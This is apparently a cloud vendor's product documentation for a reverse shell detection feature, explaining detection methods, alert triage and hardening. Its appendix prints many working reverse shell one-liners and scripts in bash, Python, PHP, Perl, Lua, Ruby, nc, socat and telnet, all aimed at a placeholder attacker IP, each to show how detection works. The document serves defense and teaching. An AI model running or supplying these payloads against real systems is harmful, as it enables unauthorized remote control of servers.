The reverse shell detection feature in Security Center uses multi-dimensional analysis to overcome the limitations of traditional methods in detecting diverse and stealthy attacks. This feature identifies and generates alerts for various types of reverse shell attacks, helping you discover and respond to server intrusions and secure your cloud assets.
What is a reverse shell
A reverse shell is a common server intrusion technique. After an attacker gains initial access to a server by exploiting vulnerabilities or using weak passwords, they typically deploy a reverse shell. This establishes a covert communication channel that connects from the compromised server (client) to the attacker's control server (server-side).
This attack method poses two main threats:
Bypass firewall restrictions: Because the connection originates from inside the server, it can bypass firewalls that only restrict inbound traffic. This allows attackers to execute commands remotely.
Establish persistent control: Attackers can obtain an interactive shell to gain full control of the server. This enables them to steal data, install ransomware, perform lateral movement, or use the server as a launchpad for attacking other systems.
How it works
Core approach
To counter complex and evolving reverse shell attacks, Security Center goes beyond traditional methods that rely on single-feature matching. It builds a next-generation, multi-layered detection system based on the following core principles:
Beyond traditional signatures: Focus on the fundamental behavior of attacks rather than unstable static features such as regular expressions.
Multi-dimensional data collection: A host agent is used to collect comprehensive real-time data, including process, file, network, and kernel call information.
Cloud-based intelligent analysis: A cloud-based big data platform is used for association analysis and behavioral modeling on massive datasets to enable cross-validation.
This defense in depth system, which combines cloud and endpoint detection, accurately and efficiently detects both known and unknown attacks, which improves overall detection rates and accuracy.
Key detection technologies
The Security Center detection system consists of multiple key technologies that reconstruct attack behaviors from different dimensions to enable cross-validation.
File descriptor (FD) analysis
Detection principle and method: Monitors process file descriptors in real time. If a shell process's standard input, output, or error is redirected to a network socket, an alert is triggered immediately.
Primary detection target: Reverse shells launched directly with commands such as
bash -i >& /dev/tcp/...that use I/O redirection.
Abnormal command sequence analysis
Detection principle and method: Establishes a baseline of normal command sequences for the server using a big data platform. When an abnormal sequence that matches known attack patterns, such as reconnaissance or privilege escalation, is detected, it is flagged as high-risk.
Primary detection target: Reverse shells implemented through scripting languages such as Python or Perl that lack obvious shell process features, and their subsequent lateral movement behaviors.
Abnormal process startup chain analysis
Detection principle and method: Comprehensively analyzes process parent-child relationships, startup parameters, user context, and historical behavior to identify non-interactive shells launched by abnormal parent processes, such as web services.
Primary detection target: Reverse shells triggered by web vulnerabilities that are hidden within normal service traffic.
In-depth malicious file analysis
Detection principle and method:
Script sandbox: Performs dynamic tracing and static decompilation on persisted scripts, such as Bash, Python, and JAR, to identify malicious logic in obfuscated code.
Binary sandbox: Analyzes imported functions, code structure, and dynamic behavior, such as network connectivity, of compiled programs, such as C/C++, Go, and Meterpreter.
Primary detection target: Highly obfuscated or encrypted script trojans. Compiled reverse shell programs written in C/C++, Go, or generated by Meterpreter.
Detection of adversarial network traffic features
Detection principle and method: Analyzes network traffic for interactive shell communication features and detects common evasion behaviors, such as replacing system shells or command encoding.
Primary detection target: Serves as a supplementary method to enhance coverage of known attack patterns and evasion techniques.
Response plan
The complete reverse shell protection workflow includes three stages: enabling detection, analyzing alerts, and performing emergency response.
Enable reverse shell detection
If you have subscribed to a paid edition of Security Center and the agent is installed and online on the target server, reverse shell detection is enabled by default. No manual configuration is required.
Analyze and interpret alerts
When Security Center detects suspicious reverse shell activity, you can navigate to the or page. Locate the reverse shell alert and open its details page. When you analyze the alert, focus on the following information:
Threat Level: Usually important. Threats at this level require immediate attention and handling.
Process Information: Shows the process path and command-line parameters that triggered the alert. This is crucial for determining whether the behavior is malicious. For example, a
/bin/bash -iprocess started by thewww-datauser is a typical high-risk indicator.Parent Process Information: Provides the source of the suspicious process, which helps trace the attack path. For example, if the parent process is a web server, such as Apache or Nginx, the attack likely originated from a web vulnerability.
Outbound Connection Information: If present, this section shows the remote IP address and port that the suspicious process connected to. This IP address is the attacker's control server.
Handle alerts
On the alert details page, you can take the following actions based on your business needs and risk assessment. For more information, see Analyze and handle security alerts.
Virus Detection and Removal: Immediately stops the virus process and moves the virus file to a quarantine area. Quarantined files cannot be executed, accessed, or spread. This is the most thorough one-click solution.
Quarantine: Moves only the suspicious file to the quarantine area, which prevents it from running. This operation does not immediately stop running processes.
End Process: Immediately stops the malicious process associated with the alert to quickly cut off the attack.
Add to Whitelist: If your investigation confirms that the alert was a false positive triggered by normal O&M or business scripts, you can add the alert to the whitelist.
NoteYou can set whitelist rules based on file paths, MD5 hashes, or other criteria to prevent similar events from generating alerts again.
Security hardening
Block network connections
You can find the attacker's IP address in the alert details.
You can configure security group policies to deny all access from this IP address in both inbound and outbound directions. This completely cuts off the attacker's connection.
Remove persistent back doors
Attackers usually set up persistence mechanisms to maintain control, requiring you to log on to the server to investigate:
Check scheduled tasks: You can run
crontab -l -u <user>, where<user>is the user running the suspicious process, such asrootorwww-data, to check for any suspicious scheduled tasks. If you find any, you can usecrontab -eto edit the file and delete the malicious entry.Delete malicious files: You can use the file path provided in the alert to find and delete the malicious script or binary file on the server.
Perform a full scan and harden the server
In the Security Center console, you can use the feature to perform a full file scan and back door detection on the server to ensure that no other hidden malicious files exist.
You can check for and fix security vulnerabilities on the server to eliminate the attack entry point.
Costs and risks
Cost structure: The reverse shell detection feature is included in paid editions of Security Center and incurs no additional fees. To perform in-depth analysis of your service logs, you must purchase the Log Management or Log Analysis value-added features.
Key risks:
During emergency response, actions such as stopping a process or modifying configurations may affect normal business operations. We strongly recommend that you create a server snapshot as a backup before you make any changes.
Although Security Center provides multi-dimensional detection, no detection solution is perfect. Highly customized 0-day attacks that use unknown techniques may still bypass detection. Therefore, defense in depth is equally crucial. This includes promptly patching vulnerabilities, applying the principle of least privilege, and enforcing strict network policies.
Appendix: Classification and examples of reverse shells
The following commands and code snippets are examples of common reverse shell attacks that are widely available in public sources. We provide them here only to illustrate the detection scope and principles of Security Center and to help security personnel configure protection and verify security.
The following examples are provided only to illustrate the detection scope and methods of Security Center in these types of attack scenarios. This helps security personnel understand alerts and verify the effectiveness of protection.
Do not use or execute this sample code in an unauthorized environment. You are solely responsible for any resulting legal violations, risks, and liabilities.
Type 1: Direct I/O redirection
Core principle: This type of reverse shell communicates by redirecting the standard input, standard output, and standard error of
bash -ito a/dev/tcp Socket.Detection approach: File descriptor (FD) analysis. This monitors a process's FD table to detect whether the shell process's standard I/O is redirected to a network socket.
Detection scenario examples:
Example 1:
# Example 1 (bash I/O redirection): bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1Behavior description:
Uses the
/dev/tcpfeature to establish a TCP connection to a remote host.Redirects the standard input, output, and error of bash to this network connection to achieve a remote interactive shell.
Detection association: Through FD analysis, Security Center discovers that the
0/1/2file descriptors of the/bin/bashprocess point to a network socket, which triggers a reverse shell alert.
Example 2:
# Example 2 (Python redirection): python -c ' import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("[ATTACKER_IP]", [PORT])) os.dup2(s.fileno(), 0) # Redirect stdin to socket os.dup2(s.fileno(), 1) # Redirect stdout to socket os.dup2(s.fileno(), 2) # Redirect stderr to socket subprocess.call(["/bin/sh", "-i"]) 'Behavior description:
Actively connects to a remote host using Python and redirects the current process's standard input, output, and error to that connection.
Then, starts
/bin/sh -ias a child process to establish an interactive shell.
Detection association:
FD analysis captures the redirection relationship between
/bin/shand the socket.Abnormal process chain analysis identifies the interactive shell process started by
pythonas a high-risk behavior.
Example 3:
# PHP reverse shell php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'Behavior description:
Actively connects to a remote host using the PHP
fsockopenfunction. This connection obtains a file descriptor (usually 3).Then, executes the
/bin/sh -iprocess and explicitly redirects its standard input, standard output, and standard error to file descriptor 3. This binds the interactive shell to the established network connection.
Detection association:
FD analysis captures the redirection relationship between
/bin/shand the socket (FD 3). This means the standard input, output, and error all point to a network connection, not a terminal or a regular file.Abnormal process chain analysis finds that the
phpprocess starts an interactive/bin/shusingexec, and the shell's I/O is bound to an external network socket. This process chain of "script interpreter → remote connection → interactive shell" is a characteristic of high-risk remote control behavior.
Example 4:
# Perl redirection example perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Behavior description:
Uses Perl's
Socketmodule to create a TCP socket and actively connect to[ATTACKER_IP]:[PORT].After a successful connection, redirects the current process's
STDIN,STDOUT, andSTDERRto the socket handleS. Then, starts an interactive shell usingexec("/bin/sh -i").
Detection association:
FD analysis finds that the standard input, output, and error of
/bin/shall point to the same network socket (S) instead of a regular terminal or file. This shows a clear "shell-to-socket" redirection relationship.Abnormal process chain analysis finds a behavior chain where a
perlprocess creates and connects to a remote socket, then executes/bin/sh -i. This is a script-driven reverse shell, which is a high-risk remote control pattern.
Example 5:
# Lua redirection example lua -e "require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"Behavior description:
Actively connects to a remote host using Lua's
socketlibrary. This connection obtains a file descriptor (usually 3).Executes the external command
/bin/sh -iusingos.executeand explicitly redirects its standard input, output, and error to that file descriptor. This establishes an interactive reverse shell.
Detection association:
FD analysis captures the input/output redirection relationship between
/bin/shand the network socket (FD 3). This shows that all of the shell's I/O is attached to a TCP connection.Abnormal process chain analysis identifies the interactive shell process started by the
luainterpreter as a high-risk behavior.
Type 2: Intermediation through pipes or pseudo-terminals
Core principle: This type uses a pipe or pseudo-terminal (PTY) as an intermediary. The shell's I/O is first redirected to the intermediary, and then another process connects the intermediary to a network socket. In some variations, data may pass through multiple layers of intermediaries, ultimately forming a complete remote control communication channel.
Detection approach: FD link tracing and process relationship analysis. Trace the complete FD link through which the data stream flows to identify abnormal process chains that connect to network sockets through pipes or PTYs.
Detection scenario examples:
Example 1:
# Intermediation using a named pipe and encrypted channel mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect [ATTACKER_IP]:666 > /tmp/fBehavior description:
Uses
mkfifoto create a named pipe/tmp/revpipe, which acts as an intermediary for the shell's input and output.The input for
/bin/sh -icomes from this pipe, and its output is sent to the remote host viaopenssl s_client.This forms a multi-layered intermediary link: "Shell ↔ Pipe ↔ Encrypted network connection".
Detection association:
Security Center uses FD link tracing and process relationship analysis to identify that
/bin/shandopensslare connected through a pipe that ultimately points to a remote socket. This discovers the reverse shell behavior.
Example 2:
# Mixed nc / socat example # Use netcat to connect to a remote host nc [ATTACKER_IP] 5050 # Use netcat to execute /bin/bash nc -e /bin/bash [ATTACKER_IP] 6060 # Use netcat and bash to create an interactive reverse shell nc -c bash [ATTACKER_IP] 6060 # Use socat to create a pseudo-terminal and connect to a remote host socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ATTACKER_IP]:6060Behavior description:
Tools such as
ncandsocatcan directly associate a local shell with a remote TCP connection to form a reverse shell.When using the
ptyparameter to create a pseudo-terminal, the behavior is more similar to a normal terminal session, which increases the detection difficulty.
Detection association:
FD link tracing identifies the pipe or pseudo-terminal link between the shell and the network socket.
For scenarios using
pty, comprehensive analysis of the process parent-child relationship and network access patterns is required.
Example 3:
# mknod named pipe mknod backpipe p; nc [ATTACKER_IP] 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipeBehavior description:
Uses
mknod backpipe pto create a named pipe `backpipe` as an intermediary for shell input/output.The
ncprocess connects to the remote host, and its input is redirected from this pipe.nc [ATTACKER_IP] 6060 0<backpipeuses `backpipe` as the standard input for `nc`, receiving commands from the remote end and writing them to the pipe.The standard output and error of
/bin/bashare both redirected to `backpipe`, which are then sent to the remote end by `nc`.
Detection association:
FD link tracing can discover that
/bin/bashandncare associated through a named pipe and ultimately connect to a remote socket.The named pipe file (such as `backpipe`) being opened simultaneously by a shell and a network tool constitutes a high-risk link.
The system makes a determination by combining the process parent-child relationship (such as `nc`/`bash` started by a web service or scheduled task) with abnormal outbound connection behavior.
Example 4:
# Establish connection using a Bash built-in file bash -c 'exec 5<>/dev/tcp/[ATTACKER_IP]/6060;cat <&5|while read line;do $line >&5 2>&1;done'Behavior description:
Uses the Bash built-in
/dev/tcppseudo-file to directly establish a TCP connection to port 6060 on a remote host and binds it to file descriptor 5.cat <&5reads commands from the remote socket, which are passed through a pipe to thewhile read line; do $line ...loop for execution.The standard output and error of each command are redirected back to FD 5, the original TCP connection, and returned to the remote end.
The overall behavior is a pure Bash implementation of a "built-in TCP channel + command execution loop," a reverse/remote control behavior without any obvious external tools.
Detection association:
FD analysis finds that the Bash process directly holds a socket FD pointing to a remote IP address/port (established via
/dev/tcp).Abnormal command sequence analysis: A single Bash process maintains a long-term outbound connection and executes many system commands.
Example 5:
telnet [ATTACKER_IP] 6060 | /bin/bash | telnet[ATTACKER_IP] 5050Behavior description:
This creates a command relay channel, connecting two
telnetprocesses and onebashprocess with two pipes.The first
telnetprocess receives commands from a remote host and forwards them tobashfor execution.The
bashexecution result is then sent to another remote address through the secondtelnetprocess.Input and output are handled through different network connections. This method can be used to hide the true control endpoint or perform multi-hop forwarding, making tracing and detection more difficult.
Association Detection:
Abnormal process chain analysis reveals the highly unusual call relationship:
telnet->bash->telnet.For traditional interactive tools such as
telnet, detection combines the process chain (a telnet process bypassing and attaching to bash) with abnormal patterns in the destination IP address or port.A long-standing pipe relationship between a bash process and a network process, without a corresponding local terminal TTY, is marked as a suspicious remote shell session.
Example 6: Using a pseudo-terminal as an intermediary. This type is more difficult to detect and requires comprehensive contextual analysis.
# Intermediation using a Python pseudo-terminal python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'Behavior description:
After completing FD redirection, instead of directly executing
/bin/sh -i, it starts abashin a pseudo-terminal usingpty.spawn.The pseudo-terminal makes the reverse shell behave more like a real login session (such as SSH or screen), thereby increasing its stealth.
Detection association:
FD analysis can still identify the association between bash and the network socket.
At the same time, it must be combined with process context (the parent process is Python) and network communication patterns to avoid confusion with normal O&M terminals.
Type 3: Embedded execution in scripting languages
Core principle: The logic is implemented within a scripting language, such as Python or Ruby, instead of using the shell's redirection features directly. The code receives network commands, calls functions such as
subprocessorexecto execute them, and then sends the results back.Detection approach: Behavioral sequence analysis and abnormal startup models. Because the attack logic is wrapped in code, higher-level detection is required. Threats are detected by analyzing abnormal command sequences, such as reconnaissance behavior after obtaining a shell, or by identifying shells started by abnormal parent processes, such as web services.
Detection scenario examples:
Example 1:
# Python embedded command execution loop python -c ' import socket, subprocess s = socket.socket() s.connect(('[ATTACKER_IP]', [PORT])) while True: cmd = s.recv(1024) # Receive command from remote host proc = subprocess.Popen( cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE ) s.send(proc.stdout.read() + proc.stderr.read()) # Send back command execution result 'Behavior description:
Does not explicitly start a shell process. Instead, within the Python process:
Continuously reads commands from a network connection.
Executes system commands using
subprocess.Popen.Sends the standard output and error back to the remote host over the network.
Externally, it behaves like a "persistent connection + command execution engine", which is closer to the behavior pattern of a trojan or remote control program.
Detection association:
This type of attack often lacks explicit shell redirection features and relies more on:
Abnormal command sequence analysis: Such as executing many reconnaissance or privilege escalation commands in a short period.
Abnormal process startup chain analysis: If the parent process of the Python process is an unexpected component, such as a web server, it is flagged as high-risk.
Example 2:
# Lua embedded command execution loop lua5.1 -e 'local host, port = "[ATTACKER_IP]", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'Behavior:
The Lua process uses the
socketlibrary to actively connect to a remote host and establish a persistent connection.In a loop, the process continuously receives commands from the network connection and calls
io.popento create a child process to execute each command.The process sends the complete result of the command execution back to the remote host. This behavior pattern is highly similar to Example 1 and creates a Lua-based remote command execution back door.
Detection association:
Abnormal command sequence analysis: Monitors consecutive commands executed in a short period to determine whether the sequence matches attack patterns, such as reconnaissance or privilege escalation.
Abnormal process startup chain analysis: Flags a Lua process as high-risk if it is started by an unexpected parent process, such as a web server (OpenResty or Nginx).
Example 3:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[ATTACKER_IP]","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Behavior description: This Ruby script is designed for stealth.
First, the script uses
exit if forkto create a child process and terminate the parent process. This allows the back door process to run in the background, detached from the current terminal.The child process then connects to the remote host, receives commands in a loop, executes them using
IO.popen, and sends the results back. This "backgrounding" is a typical persistence and stealth technique.
Detection association:
Abnormal process behavior analysis: Focus on the behavior where the parent process exits immediately after a
fork. This is a typical characteristic of a trojan program becoming a background daemon process.Abnormal process startup chain analysis: Analyze the relationship between the background Ruby process and its parent process.
Abnormal command sequence analysis: Perform association analysis on the subsequent commands it executes.
FAQ
Why do traditional detection methods often fail?
Common detection methods use regular expressions to extract features from reverse shell commands and match them against command logs and traffic logs. They have three main limitations:
Incomplete log collection: When pipes or redirection operators are used, conventional log collection methods may fail to record the complete attack command.
Rules are easily bypassed: Attackers can use encoding, obfuscation, or other techniques to bypass rules based on fixed strings or regular expressions.
Encrypted traffic: If attack traffic is encrypted, detection methods based on network features become ineffective.
Can Security Center's reverse shell detection achieve 100% accuracy?
No, it cannot. No reverse shell detection solution can guarantee 100% accuracy. Attack and defense technologies are constantly evolving. Advanced reverse shells implemented in programming languages, as seen in Type 3, are particularly difficult to detect because their behavior resembles normal business scripts. Security Center improves detection rates and accuracy through multi-dimensional detection and abnormal behavior models, but security remains an ongoing adversarial process.
Why are reverse shells that use pseudo-terminals (PTYs) harder to detect?
From the shell process's perspective, its input and output are redirected to a pseudo-terminal device. This behavior is similar to normal SSH logons,
screensessions, or terminals in container environments. This makes it difficult to distinguish between malicious behavior and normal O&M operations. Security Center performs comprehensive analysis by combining logs from multiple dimensions, such as processes and networks, to balance false negatives and false positives.